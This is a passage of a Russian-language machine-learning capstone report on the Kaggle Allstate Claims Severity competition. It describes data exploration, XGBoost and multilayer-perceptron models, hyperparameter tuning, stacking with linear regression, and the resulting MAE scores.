4. Обучить ансамбль используя технику наложения моделей (стэкинг) с использованием предыдущих моделей как базовых предикторов. Получить итоговые результаты, которые будут значительно лучше предыдущих. Этот этап реализован в файле [Stacking notebook](https://github.com/dnkirill/allstate_capstone/blob/master/part4_stacking.ipynb).
5. Кратко обсудить результаты, дать оценку итоговой позиции в турнирной таблице соревнования и найти дополнительные пути ее улучшения. О результатах мы поговорим ниже в данном отчёте и в последней части файла [Stacking notebook](https://github.com/dnkirill/allstate_capstone/blob/master/part4_stacking.ipynb).
#### **Метрики**
Платформа Kaggle требует от компании, проводящей соревнование, четко определить метрику, по которой могут соревноваться участники. Компания Allstate выбрала в качестве такой метрики [MAE](https://en.wikipedia.org/wiki/Mean_absolute_error). MAE (средняя абсолютная ошибка) – очень простая и очевидная метрика, которая напрямую сравнивает предсказанные и истинные значения.
Эта метрика задана и не может быть изменена, т.к. является частью условий соревнования. Тем не менее, я считаю ее хорошо подходящей к данной задаче. Во-первых, MAE (в отличие от MSE или среднеквадратичной ошибки) не дает большого штрафа за неверную оценку выбросов (в датасете присутствует несколько выбросов с аномально высокими значениями потерь). Во-вторых, MAE проста для понимания: значения ошибки выражаются в тех же измерениях, что и сама целевая переменная. Вообще говоря, MAE – хорошая метрика для новичков в науках о данных. Ее легко вычислить, просто понять и трудно неправильно интерпретировать.
### **Part 2. Анализ**
#### **Изучение данных**
**Для полного ознакомления с этим этапом вы можете обратиться к файлу [Data Discovery](https://github.com/dnkirill/allstate_capstone/blob/master/part1_data_discovery.ipynb).**
Вся обучающая выборка состоит из **188318 элементов**, индексированных с помощью переменной uid. Индекс для работы с данными не несёт дополнительной информации, т.к. это просто нумерация, начиная с «1» с некоторыми пропущенными значениями. Мы не собираемся использовать для предсказания тестовый набор без индекса (она необходима для отправки результатов на Kaggle), однако стоит отметить, что тестовый набор данных организован так же, как и тренировочный. Очевидно, обучающая и тестовая выборки были получены из одного набора данных разбиением процедурой, например, train\_test\_split из пакета sklearn.
Основные результаты данной части проекта следующие:
• Набор данных содержит 130 различных признаков (без учета индекса id и целевой переменной loss). С учетом размеров набора данных, это вполне разумное число признаков. Мы едва ли могли бы столкнуться здесь с «проклятием размерности».
• 116 признаков категориальные, 14 численные. Вероятно, нам нужно будет закодировать эти 116 признаков, так как большинство алгоритмов машинного обучения не могут корректно обрабатывать категориальные переменные. Способы такого кодирования и различия между ними мы обсудим позднее.
• Во всем наборе данных нет ни одного пропущенного значения. Такой факт лишь подтверждает, что компания Allstate предоставила данные с высокой степенью предварительной обработки, чтобы сделать их доступными и простыми в использовании.
• Большинство категориальных признаков (72 или 62%) бинарные (да/нет; мужчина/женщина), но их значения записаны просто как «A» и «B», поэтому мы никак не можем догадаться об их значении. 3 признака принимают три различных значения, 12 признаков – 4 различных значения.
• Численные признаки уже отмасштабированы в диапазоне от 0 до 1, стандартные отклонения для всех них близки к 0.2, средние значения составляют порядка 0.5, поэтому и для этих признаков мы не можем сделать никаких предположений об их значении.
• По всей видимости, некоторые численные признаки раньше были категориальными до их преобразования в численные с помощью LabelEncoder или схожей процедуры.
• Построив гистограммы различных признаков, можно убедиться, что ни один из них не подчиняется нормальному закону распределения. Можно попробовать снизить асимметрию распределения этих данных (в случае scipy.stats.mstats.skew > 0.25), однако даже после такого преобразования добиться распределения, близкого к нормальному, не удастся.
• Целевая переменная также распределена не нормально, хотя и может быть простым логарифмическим преобразованием приведена к распределению, близкому к нормальному.
• Целевая переменная содержит несколько выбросов с аномально высокими значениями (очень серьезные происшествия). В идеальном случае мы хотели бы, чтобы наша модель умела идентифицировать и правильно предсказывать такие выбросы. В то же время мы можем легко на них переобучиться, если не будем достаточно осторожны. Ясно, что здесь необходим некоторый компромисс.
• Обучающая и тестовая выборки имеют сходные распределения данных. Это идеальная характеристика разбиения на обучающую и тестовую выборки, которая сильно упрощает кросс-валидацию и позволяет нам принимать информированные решения о качестве моделей, используя кросс-валидацию на тренировочном наборе данных. Это значительно упростило участие в соревновании Kaggle, однако не будет полезно для выполнения дипломного проекта.
• Несколько непрерывных признаков сильно коррелированы (корреляционная матрица отображена на рис. 1 ниже). Это приводит к основанной на данных мультиколлинеарности в этом наборе данных, что может радикально снизить предсказательную способность линейных регрессионных моделей. Частично эту проблему можно решить с помощью L1 или L2 регуляризации.
*Рисунок 1: Корреляционная матрица для непрерывных признаков*
#### **Обзорная визуализация**
Я покажу одну визуализацию для того, чтобы продемонстрировать важную черту этого набора данных – высокую степень анонимности, предварительной обработки данных.
Ниже приведены гистограммы 14 непрерывных признаков, помеченных как cont#. Как видно из рис. 1, распределения данных могут иметь множественные пики, и функции плотности распределений не близки к гауссовским. Мы могли бы попытаться снизить коэффициент асимметрии данных, но применение алгоритмов нормализации (например, преобразования [Бокса-Кокса](http://onlinestatbook.com/2/transformations/box-cox.html)) мало что дало для данного набора данных.
*Рисунок 2: Гистограммы непрерывных признаков*
Особенно интересен признак cont2. Этот признак был, по всей видимости, получен из категориального и может отражать возраст или возрастную категорию. К сожалению, я не углублялся в изучение этого признака: на мой проект он никакого влияния не оказал.
#### **Алгоритмы и методика анализа данных**
**Этот раздел гораздо подробнее раскрыт в двух следующих документах: [XGBoost notebook](https://github.com/dnkirill/allstate_capstone/blob/master/part3_xgboost.ipynb) и [MLP notebook](https://github.com/dnkirill/allstate_capstone/blob/master/part2_mlp.ipynb).**
**XGBoost.** Одна из причин моего интереса к проекту — это возможность попробовать метод бустинга над деревьями и, в частности, XGBoost. Де-факто этот алгоритм стал своеобразным стандартным швейцарским ножом для множества соревнований Kaggle благодаря его масштабируемости, гибкости и впечатляющей предсказательной силы.
XGBoost подходит для задач обучения с учителем, сходных с той, которую мы имеем (четко определенные тренировочный набор данных и целевая переменная). Ниже мы опишем принципы работы алгоритма XGBoost.
XGBoost, в сущности, является вариацией бустинга — ансамблевого мета-алгоритма машинного обучения, применяемого для снижения смещения и дисперсии в обучении с учителем, и семейства алгоритмов машинного обучения, которые превращают слабые модели в более сильные. Источник: [Википедия](https://en.wikipedia.org/wiki/Boosting_(machine_learning)). Изначально, идеи бустинга уходят корнями в поставленный Kearns и Valiant вопрос о том, могут ли «слабые» обучающиеся алгоритмы, которые дают результаты чуть лучше случайного гадания в PAC (вероятно приблизительно правильной) модели, быть “усилены” до “сильного” обучающегося алгоритма произвольной точности. Источник: [Краткое введение в бустинг](https://cseweb.ucsd.edu/~yfreund/papers/IntroToBoosting.pdf) (Yoav Freund и Robert E. Schapire). Утвердительный ответ на этот вопрос был дан R.E.Schapire в его статье [Сила слабой обучаемости](http://www.cs.princeton.edu/~schapire/papers/strengthofweak.pdf), которая привела к разработке множества алгоритмов бустинга.
Как видно, основополагающим принципом бустинга является последовательное применение слабых алгоритмов обучения. Каждый последующий слабый алгоритм пытается уменьшить смещение всей модели, объединяя, таким образом, слабые алгоритмы в мощную ансамблевую модель. Можно привести множество различных примеров алгоритмов и методов бустинга, таких как AdaBoost (адаптивный бустинг, который подстраивается под слабые алгоритмы обучения), LPBoost и градиентный бустинг.
XGBoost, в частности, является библиотекой, реализующей схему градиентного бустинга. Модели градиентного бустинга строятся поэтапно, точно так же, как и при использовании других методов бустинга. Этот метод бустинга обобщает слабые обучающиеся алгоритмы, допуская оптимизацию произвольной дифференцируемой функции потерь (функции потерь с вычислимым градиентом).
XGBoost, как разновидность бустинга, включает оригинальный основанный на решающих деревьях алгоритм машинного обучения, пригодный для работы с разреженными данными; теоретически обоснованная процедура позволяет работать с весами различных элементов в обучении деревьев. *Источник: [XGBoost: масштабируемая система бустинга над деревьями](http://dmlc.cs.washington.edu/data/pdf/XGBoostArxiv.pdf) (Tianqi Chen, Carlos Guestrin)*
Можно привести ряд достоинств алгоритма XGBoost:
• Регуляризация. Как будет показано в разделе, посвященному модели многослойного перцептрона, при использовании других алгоритмов легко можно получить переобученную модель. XGBoost предоставляет очень надежные готовые к использованию средства регуляризации вместе с набором параметров для настройки этого процесса. Перечень этих параметров включает: gamma (минимальное уменьшение функции потерь, необходимое для дальнейшего деления дерева), alpha (вес для L1-регуляризации), lambda (вес для L2-регуляризации), max\_depth (максимальная глубина дерева), min\_child\_weight (минимальная сумма весов всех наблюдений, требующаяся для дочернего объекта).
• Реализация параллельных и распределенных вычислений. В отличие от многих других алгоритмов бустинга, обучение здесь может производиться параллельно, тем самым сокращая время обучения. XGBoost работает действительно быстро. По утверждению авторов вышеупомянутой статьи, *«система работает более чем в 10 раз быстрее существующих популярных решений уже на одном компьютере и может быть масштабирована на миллионы экземпляров в распределенном или ограниченном по памяти окружении».*
• Встроенная кросс-валидация. Кросс-валидация является необходимым условием оценки качества полученной модели, и в случае с XGBoost ее процесс работы с ней крайне прост и понятен.
**MLP.** Вторая модель, которую мы строим – полносвязная нейронная сеть прямого распространения или многослойный перцептрон. Так как наша конечная цель – построить ансамбль (stacking) базовых регрессоров (и мы определились с типом первого из них — XGBoost), мы должны найти другой «тип» обобщающего алгоритма, который будет иначе исследовать наш набор данных.
Это то, когда имеют в виду, когда говорят, что обобщающие алгоритмы нулевого уровня должны «покрывать пространство». [Wolpert, Обобщение наложением.](http://www.machine-learning.martinsewell.com/ensembles/stacking/Wolpert1992.pdf)
Путем добавления большего числа слоев и большего числа элементов внутри каждого слоя нейронная сеть может улавливать очень сложные нелинейные связи в данных. [Универсальная теорема аппроксимации](https://en.wikipedia.org/wiki/Universal_approximation_theorem) утверждает, что нейронная сеть прямого распространения может аппроксимировать любую непрерывную функцию в евклидовом пространстве. Таким образом, многослойный перцептрон является очень мощным алгоритмом моделирования. Многослойные перцептроны легко подвержены переобучению, но в нашем распоряжении есть все необходимые инструменты для того, чтобы снизить влияние этого фактора: случайное выключение активации нейронов (dropout), L1-L2 регуляризация, нормализация пакетов (batch normalization) и т.д. Мы также можем обучить несколько сходных нейронных сетей и усреднить их предсказания.
Сообщество, занимающееся глубоким обучением, разработало высококачественное программное обеспечение для обучения и оценки моделей, основанных на искусственных нейронных сетях. Мои модели построены на базе [TensorFlow](https://www.tensorflow.org/), библиотеки для тензорных вычислений, разработанной Google. Чтобы упростить построение моделей, я принял решение использовать [Keras](https://keras.io/), высокоуровневый внешний интерфейс для TensorFlow и Theano, который берет на себя большую часть стандартных операций, необходимых для построения и обучения нейронных сетей.
**GridSearch и Hyperopt.** Данные методы применяются для отбора моделей и настройки гиперпараметров. В то время как GridSearch (поиск по сетке) исчерпывающим образом перебирает все возможные комбинации параметров, Hyperopt либо выбирает заданное число кандидатов из пространства параметров с заданным распределением, либо использует форму байесовской оптимизации. Вместе с обоими этими методами отбора мы используем для оценки производительности моделей технику кросс-валидации. Мы используем кросс-валидацию с разбиением на k частей (k-fold) с тремя или пятью частями в зависимости от вычислительной сложности модели.
**Наложение моделей (stacking).** Мы комбинируем предсказания двух из наших моделей (XGBoost и многослойный перцептрон) для построения финального предсказания, используя метарегрессор. Данный метод называется наложением (stacking) и интенсивно используется на Kaggle (часто чрезмерно). Идея стэкинга в том, чтобы разбить обучающую выборку на k частей и обучать каждый из базовых регрессоров на k-1 частях, делая предсказания на оставшейся части. В итоге, мы получаем обучающую выборку с предсказаниями регрессора (out-of-fold), имея при этом реальные значения целевой переменной. Далее, мы обучаем метамодель на этих данных, используя предсказания каждого регрессора как признак для метамодели, а истинные значения — как целевой признак.
Обученной метамодели мы подаём на вход предсказания регрессоров для тестовой выборки и получаем уже финальные предсказания, в которых обученная модель учитывает характерные ошибки каждого регрессора. Реализация данного этапа детально раскрыта в файле [Stacking notebook.](https://github.com/dnkirill/allstate_capstone/blob/master/part4_stacking.ipynb)
#### **Критерии для оценки результатов**
Первый результат был задан компанией Allstate: они обучили ансамблевую модель случайного леса и получили результат MAE=1217.52141. Этот результат легко превзойти даже простой моделью XGBoost, и большинству участников это удалось.
Я также установил для себя несколько критериев, когда обучал модели. Нижней границей для меня выступала производительность простой модели данного класса. Для XGBoost такой результат был установлен на MAE=1219.57, он достигается простой моделью из 50 деревьев без какой-либо оптимизации или настройки гиперпараметров. Я взял стандартные значения гиперпараметров (предложенные в [статье от Analytics Vidhya](https://www.analyticsvidhya.com/blog/2016/03/complete-guide-parameter-tuning-xgboost-with-codes-python/)), оставил небольшим количество деревьев и получил этот стартовый результат.
Для многослойного перцептрона в качестве базового результата была выбрана производительность двухслойной модели с маленьким числом элементов в ее скрытом слое (128) с функцией активации ReLU, стандартной инициализацией весов и оптимизатором Adam GD: MAE=1190.73.
В данном дипломном проекте я избегал сложных baseline-моделей, так как понимаю, что все результаты должны быть воспроизводимыми. Я также участвую в этом соревновании Kaggle, однако обучение всех моих используемых в соревновании моделей, большинство из которых представляет собой комбинации и использует большое число алгоритмов, точно потребует от читателя слишком много времени. В соревновании Kaggle я надеюсь превзойти результат MAE=1100.
### **Часть 3. Методология**
#### **Предварительная обработка данных**
Я уже упоминал, что этот датасет уже был хорошо подготовлен и предварительно обработан, например, непрерывные признаки были отмасштабированы в интервал [0,1], категориальные признаки были переименованы, их значения были превращены в числа. Фактически, в части предобработки здесь осталось не так много того, что можно было бы еще сделать. Однако некоторая работа еще должна быть проделана для того, чтобы можно было обучать корректные модели.
**Предварительная обработка целевой переменной**
Наш целевой признак имеет экспоненциальное распределение, которое может понизить качество регрессионных моделей. Как известно, регрессионные модели лучше всего работают тогда, когда целевая переменная распределена нормально.
Чтобы решить эту проблему, мы просто применяем к целевой переменной loss логарифмическое преобразование: np.log(train['loss']).
*Рисунок 3: Гистограммы распределения целевой переменной до и после логарифмического преобразования*
Полученный результат можно улучшить: слева от основного колокола распределения лежат несколько отклоняющихся наблюдений. Чтобы избавиться от этих выбросов, мы можем сдвинуть все значения переменной loss на 200 пунктов вправо (loss+200) и затем взять от них логарифм.
**Кодирование категориальных переменных**
Большинство алгоритмов машинного обучения не могут напрямую работать с категориальными переменными. XGBoost здесь не является исключением, так что нам нужно будет преобразовать наши категориальные переменные в численные. Здесь можем выбрать одну из двух стандартных стратегий: кодирование меток (label encoding) или прямое кодирование (one-hot encoding). Какую стратегию использовать – вопрос достаточно [спорный](https://github.com/szilard/benchm-ml/issues/1), однако здесь следует рассмотреть несколько факторов:
**Прямо кодирование (one-hot encoding)** – это базовый способ работы с категориальными признаками. Он выдает разреженную матрицу, где каждый новый столбец представляет одно возможное значение какого-либо одного признака. Так как у нас 116 категориальных переменных, и переменная cat116 принимает 326 значений, мы можем получит разреженную матрицу с огромным количество нулей. Это приведет к более длительному обучению, увеличит затраты памяти и может даже ухудшить итоговые результаты. Другой недостаток прямого кодирования – потеря информации в тех случаях, когда имеет значение порядок категорий.
**Кодирование меток (label encoding)**, с другой стороны, [просто нормализует столбец входных данных](http://scikit-learn.org/stable/modules/preprocessing_targets.html#label-encoding) так, что он содержит только значения между 0 и числом классов-1. Для многих алгоритмов регрессии это не слишком хорошая стратегия, однако XGBoost [может справляться и справляется](https://www.kaggle.com/c/allstate-claims-severity/forums/t/24646/sparse-matrix-and-xgboost) с таким преобразованием очень хорошо.
Для XGBoost мы будем использовать LabelEncoder и нормализуем входные данные. Для многослойного перцептрона нам нужно будет создавать фиктивные переменные, таким образом, наш выбор здесь – one-hot encoding.
#### **Реализация и усовершенствование моделей**
Как было упомянуто ранее, наша методология реализации машинного обучения будет подразделяться на два раздела:
• Обучение, настройка и кросс-валидация базовых моделей (моделей нулевого уровня): XGBoost и многослойного перцептрона в предположении, что мы уже произвели предварительную подготовку данных, которая для этих двух моделей немного различается. Разница будет в кодировании признаков (прямое или кодирование меток) и (к сожалению) в отсутствии логарифмического преобразования целевой переменной для модели многослойного перцептрона. Итогом этой части будут две настроенные модели, результаты которых будут отвечать установленным критериям.
• Обучение и валидация модели уровня 1, то есть, наложения моделей. Итогом этого раздела станет новая метамодель, дающая результаты лучшие, чем каждая из базовых моделей нулевого уровня, которые мы обучили ранее.
Теперь пришло время дать детальный обзор каждого из разделов.
**Раздел 1. Модели нулевого уровня: обучение, настройка, кросс-валидация
Методология обучения модели XGBoost** (адаптированный вариант [руководства по настройке XGBoost от Analytics Vidhya](https://www.analyticsvidhya.com/blog/2016/03/complete-guide-parameter-tuning-xgboost-with-codes-python/)):
**1.** Обучим неглубокую и простую модель с параметрами num\_boost\_round=50, max\_depth=5 и получим базовый результат MAE=1219.57. Такой результат мы установим в качестве нижней границы и будем улучшать его с помощью настройки модели.
**2.** Чтобы облегчить оптимизацию гиперпараметров, мы реализуем собственный класс XGBoostRegressor, построенный над XGBoost. Такой класс, по большому счёту, необязателен для работы модели, однако даст нам ряд преимуществ (мы сможем использовать собственную функцию потерь и минимизировать эту функцию вместо максимизации) при использовании поиска по сетке GridSearchCV, реализованного в scikit-learn.
**3.** Мы определим и зафиксируем скорость обучения и количество деревьев, которые будут в каждом следующем переборе по сетке. Поскольку наша задача состоит в том, чтобы за минимальное время получить неплохой результат, мы поставим небольшое число деревьев и высокую скорость обучения: eta=0.1, num\_boost\_round=50.
**4.** Настроим параметры max\_depth и min\_child\_weight. Эти гиперпараметры рекомендуется настраивать совместно, т.к. увеличение max\_depth приводит к возрастанию сложности модели (и увеличивает вероятность переобучения). В то же самое время min\_child\_weight выступает регуляризирующим параметром. Мы получаем следующие наилучшие параметры: max\_depth=8, min\_child\_weight=6. Это улучшает результаты с MAE=1219.57 до MAE=1186.5.
**5.** Настроим gamma, параметр регуляризации.
**6.** Настроим соотношение числа признаков и элементов обучающей, которое будет использоваться в каждом из деревьев: colsample\_bytree, subsample. Мы получаем следующую оптимальную конфигурацию: subsample=0.9, colsample\_bytree=0.6 и улучшаем наши результаты до MAE=1183.7.
**7.** Наконец, добавим больше деревьев (увеличим параметр num\_boost\_round) и снизим интенсивность обучения eta. Мы также выработаем практическое правило для понимания связи между этими двумя гиперпараметрами. Наша финальная модель использует 200 деревьев, имеет eta=0.07 и итоговый результат MAE=1145.9.
Пример процесса настройки параметров модели с использованием Grid Search показан на рисунке 4 ниже (подробности вы найдете в [этом](https://github.com/dnkirill/allstate_capstone/blob/master/part2_xgboost.ipynb) файле):
*Рисунок 4: двумерные пространства гиперпараметров для пар max\_depth–min\_child\_weight и colsample-subsampling*
**Методология обучения модели многослойного перцептрона:**
**1.** Начнем с простого и построим базовую модель с единственным скрытым слоем (двухслойную), функцией активации ReLU и оптимизатором Adam, реализующим метод градиентного спуска. Такие неглубокие модели трудно переобучить, они быстро обучаются и дают хорошие начальные результаты. В терминах [компромисса между смещением и дисперсией](http://nlp.stanford.edu/IR-book/html/htmledition/the-bias-variance-tradeoff-1.html) они представляют собой смещенные модели, однако стабильны и дают достойный результат MAE=1190.73 для такой простой модели.
**2.** Используем кросс-валидацию с разбиением на k частей (k-fold) для измерения производительности более глубоких моделей и для визуализации переобучения. Обучим трехслойную модель, покажем, что она легко подвержена переобучению.
**3.** Добавим в трехслойную модель регуляризацию: выключение нейронов (dropout) и раннюю остановку (early stopping). Определим несколько возможных конфигураций для последующего ручного тестирования: эти конфигурации отличаются числом скрытых элементов и вероятностью выключения нейронов. Обучим эти модели, рассмотрим и сравним их результаты, полученные на кросс-валидации, и выберем лучшую. В действительности при таком подходе мы не получим никаких улучшений: результаты по сравнению с двухслойной моделью лишь ухудшатся. Такой исход может быть вызван ручным (и тем самым неточным) подходом к регуляризации многослойного перцептрона. Мы просто определяем некоторые разумные интенсивности выпадения для слоев, но нет никакой гарантии того, что выбранные интенсивности будут оптимальными.
**4.** Введем в работу Hyperopt, чтобы осуществлять поиск в пространстве гиперпараметров автоматизированным и более интеллектуальным способом (будем использовать tpe.suggest, деревья оценивающих алгоритмов Парзена). Запустим несколько итераций Hyperopt на многочисленных конфигурациях гиперпараметров с различными выпадением нейронов, составом слоев и числом скрытых элементов. Наконец, мы выясним, что лучше всего использовать четырехслойную архитектуру (три скрытых слоя) с оптимизатором adadelta, нормализацией пакетов (batch normalization) и выпадением нейронов.
Финальная архитектура многослойного перцептрона:
*Рисунок 5: финальная архитектура многослойного перцептрона*
Результат этой модели на кросс-валидации составил: MAE=1150.009.
**Раздел 2. Обучение модели первого уровня**
К настоящему моменту мы обучили и настроили модели нулевого уровня: XGBoost и многослойный перцептрон. В этом разделе мы составим набор данных из создаваемых при кросс-валидации предсказаний моделей нулевого уровня (для которых известны истинные значения) и тестовой выборки предсказаний моделей нулевого уровня, которые будут использованы для итоговой оценки качества метамодели.
**Для полного ознакомления с процессом построения ансамбля моделей обратитесь, пожалуйста, к [этому](https://github.com/dnkirill/allstate_capstone/blob/master/part4_stacking.ipynb) файлу.**
Методология построения ансамбля, которую я использовал, описана ниже:
• **Шаг 1. Новое обучение и генерация отложенного набора данных.** Поскольку мы не отправляем результаты на Kaggle и не «пробиваем лидерборд», мы должны будем разбить обучающую выборку на две части: обучение и тест. Обучающая подвыборка будет использоваться для генерации предсказаний моделей нулевого уровня на кросс-валидации с разбиением на k частей (k-fold), тогда как отложенный набор данных будет применяться лишь для финальной оценки производительности двух моделей нулевого уровня и метамодели.
• **Шаг 2: Разбиение.** Разобьем обучающую выборку на k частей, которые будут использоваться для обучения моделей нулевого уровня.
• **Шаг 3: Предсказания на кросс-валидации.** Обучим каждую модель нулевого уровня на K-1 частях, построим предсказания для оставшейся части. Повторим этот процесс для всех K частей. В конце мы получим предсказания для всей тестовой выборки (для которой у нас также есть метки).
• **Шаг 4: Обучение на всей выборке.** Обучим каждую из моделей нулевого уровня на всем обучающем наборе данных и получим предсказания для тестового набора. Составим из полученных предсказаний новый набор данных, в котором каждый из признаков является предсказанием одной из моделей нулевого уровня.
• **Шаг 5: Обучение модели первого уровня.** Обучим модель первого уровня на полученный при кросс-валидации предсказаниях, используя соответствующие им метки из обучающей выборки как метки для модели уровня 1. После этого, используя наш комбинированный набор данных предсказаний моделей нулевого уровня, мы получим финальные предсказания модели первого уровня.
В качестве модели первого уровня мы выбираем линейную регрессию: метамодель легко подвержена переобучению (да и, честно говоря, в самом соревновании мало что работало лучше простой линейной регрессии как метамодели). Данное наложение сработало очень хорошо и значительно улучшило полученные результаты. После кросс-валидации моделей нулевого уровня и финальной ансамблевой модели на скрытом наборе данных мы получили следующие результаты:
```
MAE для XGBoost: 1149.19888471
MAE для многослойного перцептрона: 1145.49726607
MAE для наложения моделей: 1136.21813333
```
Результат наложения моделей MAE=1136.21 заметно лучше результата лучшей из моделей нашего ансамбля. Конечно, этот результат может быть еще улучшен, однако в данном проекте мы идем на компромисс между увеличением предсказательной способности модели и снижением времени обучения.
**Пояснение:** этот набор результатов был вычислен на отложенной выборке, не через кросс-валидацию. Таким образом, мы не имеем права напрямую сравнивать результаты, полученные на кросс-валидации, с результатами на отложенном наборе данных. Тем не менее, отложенный набор данных имеет, как ожидается, распределение, близкое к распределению всего набора данных. Вот почему мы можем утверждать, что наложение действительно улучшило достигнутые нами показатели.
В качестве заметки на полях, было бы любопытно узнать, с какими весами вошли в наложение наши модели нулевого уровня. В линейной регрессии финальное предсказание – это просто линейная комбинация весов и исходных предсказаний:
```
PREDICTION = 0.59 * XGB_PREDICTION + 0.41 * MLP_PREDICTION
```
### **Часть 4. Результаты**
#### **Оценка и валидация моделей**
Чтобы оценить наши результаты, мы обучим и произведем валидацию наших финальных моделей (отдельных и ансамбля) на различных подвыборках набора данных. Таким образом мы сможем увидеть, насколько стабильны наши модели и могут ли они давать устойчивый результат вне зависимости от начальной обучающей выборки. Для достижения этих целей мы обобщим наложение моделей из документа [Stacking notebook](https://github.com/dnkirill/allstate_capstone/blob/master/part4_stacking.ipynb) до класса modules/stacker.py, который позволяет быстро вызывать процедуры оценки наших моделей с различными сидами (чтобы модели немного отличались друг от друга).
Мы обучим наши модели нулевого и первого уровней с 5 разными сидами и запишем результаты в таблицу. Затем мы используем метод pd.describe для получения агрегированной статистики по производительности каждой из моделей. Наиболее характерными метриками здесь будут среднее (mean) и стандартное отклонение (std):
Как можно видеть, наши модели достаточно стабильные (стандартное отклонение низкое) и ансамбль всегда превосходит любую другую модель. Его самый низкий результат лучше самого лучшего результата самой лучшей из индивидуальных моделей (MAE=1132.165 против MAE=1136.59).
**Еще одно пояснение:** Я старался внимательно обучать и валидировать модели, однако здесь все еще может быть пространство для утечек информации, которые остались незамеченными. Все модели демонстрируют улучшение результатов, которое могло быть вызвано одной такой утечкой (но мы обучили только пять моделей, параметр seed=0 мог просто дать худшие результаты). Тем не менее, итоговые выводы остаются валидными: **усреднение нескольких наложений, обученных с различными сидами, улучшает итоговые результаты.**
#### **Обоснование**
Наши базовые результаты: MAE=1217.52 (модель случайного леса от компании Allstate) и MAE=1190.73 (MAE простого многослойного перцептрона). Наша финальная модель улучшила первый результат на **7.2%** и на **5.1%** — второй.
Чтобы измерить значимость этих результатов, добавим каждый из базовых результатов в таблицу результатов, полученной в предыдущем разделе, и выясним, могут ли наши базовые результаты быть названы аномальными. Так, если базовые результаты можно рассматривать как выбросы, разница между нашими финальными и базовыми результатами будет значимой.
Чтобы произвести этот тест, мы можем вычислить показатель IQR (интерквартильный размах), который используется для выявления аномалий и выбросов. Затем мы вычислим третью квантиль данных (Q3) и используем формулу Q3 + 1.5 \* IQR для установления верхней границы результатов. Значения выше этой границы считаются выбросами. При проведении этого теста мы ясно видим, что оба базовых результата оказываются выбросами. Таким образом, мы можем сказать, что наше наложений моделей значительно превосходит базовые контрольные точки.
```
for baseline in [1217.52, 1190.73]:
stacker_scores = list(scores.stacker)
stacker_scores.append(baseline)
max_margin = np.percentile(stacker_scores, 75) + 1.5*iqr(stacker_scores)
if baseline - max_margin > 0:
print 'MAE =', baseline, 'считается выбросом.'
else:
print 'MAE = ', baseline, 'НЕ считается выбросом.'
```
На выходе получим:
```
MAE = 1217.52 считается выбросом. MAE = 1190.73 считается выбросом.
```
### **Часть 5. Заключение**
#### **Визуализация в свободной форме**
Давайте абстрагируемся от деталей и взглянем на проект как на единое целое. Мы обучали и оптимизировали две основные модели: XGBoost и многослойный перцептрон. Мы сделали ряд шагов, начиная от самой простой из возможных моделей и заканчивая настроенной, более устойчивой и сложной моделью. После этого мы создали предсказания на кросс-валидации для нашей модели уровня 1, линейной регрессии, и использовали технику стэкинга для объединения предсказаний моделей нулевого уровня. Наконец, мы сделали валидацию производительности стэкинга и обучили пять его вариаций. Усредняя результаты этих пяти моделей, мы получили финальный результат: **MAE=1129.91.**
*Рисунок 6: Основные этапы улучшения результатов*
Конечно, мы могли бы включить в нулевой уровень и большее число моделей, или могли бы сделать их ансамбль более сложным. Один из возможных путей – обучить несколько полностью различных ансамблей и скомбинировать их предсказания (например, как линейную комбинацию) на новом уровне, уровне 2.
#### **Анализ проделанной работы**
**Полное решение задачи**
Идеей данного проекта было работать с набором данных, в котором не требуется создания новых признаков. Иметь такой набор данных очень приятно, т.к. это позволяет сосредоточиться на алгоритмах и их оптимизации, а не на предварительной обработке данных и внесении в них изменений. Конечно, мне хотелось испытать в действии XGBoost и нейронные сети, и выбранный набор данных мог дать хорошую базовую оценку качества моей модели в сравнении с результатами других участников Kaggle.
Даже с приведенными в проекте слабыми моделями мы получили значительное превышение базовых результатов: на **7.2%**. Мы сравнили базовые результаты с финальными и убедились в том, что финальные результаты действительно являются значимым улучшением.
**Трудности**
Данный проект не был тривиальным. Хотя я и не демонстрировал никаких особенных или креативных подходов к набору данных, таких как создание новых признаков, понижение размерности или обогащение данных, вычислительная сложность требуемых для Kaggle моделей оказалась выше той, что я ожидал.
Главной проблемой в Allstate Claims Severity стала воспроизводимость вычислений. Для ее обеспечения нужно было выполнить ряд предварительных требований: процесс получения результата должен был быть ясным, вычисления – детерминированными (или хотя бы с ограниченными колебаниями) и воспроизводимыми за разумное время на любом современном оборудовании. В результате я сильно понизил сложность моих действующих моделей и полностью исключил некоторые техники (например, я исключил технику бэггинга (bagging) для XGBoost и многослойного перцептрона, хотя после применения бэггинга эти модели показывают заметно лучшие результаты).
Этот проект был выполнен преимущественно на инфраструктуре Amazon Web Services: я использовал экземляры p2.xlarge с GPU-вычислениями для многослойного перцептрона (GPU NVIDIA Tesla K80, 12 Гб памяти GPU) и экземляры c4.8xlarge с CPU-вычислениями для XGBoost (36 vCPU, 60 Гб памяти). В моем проекте есть несколько разделов, которые требуют тяжелых вычислений:
• Поиск по сетке. Перебор по всем сеткам в разделе XGBoost занимает достаточно много времени. На обычном компьютере вычисление всего необходимого для XGBoost может потребовать от одного до двух часов.
• Кросс-валидация моделей многослойного перцептрона. К сожалению, не существует никакого волшебного средства ускорения кросс-валидации в обучении многослойного перцептрона. Для оценки качества модели кросс-валидация — надёжный способ, избегать его не стоит, но при этом следует запастись достаточным количеством времени.
• Оптимизация гиперпараметров. Это определенно самая тяжелая часть всех вычислений. Перебор различных комбинаций гиперпараметров и поиск подходящей с помощью Hyperopt занимает много часов.
• Генерация предсказаний на кросс-валидации для многослойного перцептрона и XGBoost.
Лучшим способом воспроизведения моих результатов было бы сначала запустить заранее обученные модели и затем пересчитать некоторые наиболее легкие их них.
#### **Улучшения**
Проект оставляет обширное пространство для будущих улучшений. Ниже я размышляю над тем, какие ещё способы улучшений можно использовать.
**Предварительная обработка данных**
**1.** Я сначала начал работать над моделью многослойного перцептрона, и только потом обнаружил прием с логарифмированием целевой переменной. В результате мои многослойные перцептроны были обучены без логарифмической трансформации. Конечно же, можно и нужно логарифмировать целевую переменную и заново обучить все модели многослойного перцептрона.
**2.** Перспективным способом преобразования целевой переменной было бы сдвинуть ее на 200 пунктов вправо (прибавить 200 ко всем значениям). Если мы сделаем такой сдвиг и затем возьмем логарифм, мы избавимся от выбросов в левой части функции плотности распределения целевой переменной. Тем самым мы сделаем ее распределение более близким к нормальному.
**XGBoost**
**1.** Обучить более сложную модель XGBoost, добавляя больше деревьев и в то же самое время уменьшая параметр eta. Моя рабочая модель использует 28 тыс. деревьев и eta=0.003, что было определено с помощью процедуры поиска по сетке.
